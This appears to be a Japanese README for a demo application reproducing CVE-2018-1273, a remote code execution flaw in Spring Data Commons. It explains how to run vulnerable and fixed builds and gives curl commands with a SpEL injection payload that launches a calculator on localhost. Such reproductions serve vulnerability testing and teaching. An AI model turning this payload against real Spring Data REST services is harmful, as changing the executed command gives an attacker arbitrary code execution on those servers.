CVE-2018-1273

Spring Data Commons（バージョン1.13～1.13.10、2.0～2.0.5、およびサポート終了の古いバージョン）には、特殊要素の不適切な無害化に起因するプロパティバインダーの脆弱性が存在します。認証されていないリモートの悪意あるユーザー（攻撃者）は、Spring Data RESTがバックエンドとするHTTPリソースに対して特別に細工されたリクエストパラメータを送信するか、Spring Dataのプロジェクションベースのリクエストペイロードバインディングを利用することで、リモートコード実行攻撃につながる可能性があります。

詳細はこちら

実行方法

このアプリケーションは、脆弱性のあるバージョンまたは修正済みのSpring Data Commonsでテストできます。

• 脆弱性のあるバージョン（デフォルト）:

mvn spring-boot:run

• 修正済みバージョン:

mvn spring-boot:run -Dfixed

脆弱性のテスト

以下のコマンドを実行して、脆弱性が悪用可能かを確認します。

• Windowsの場合:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

• macOSの場合:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"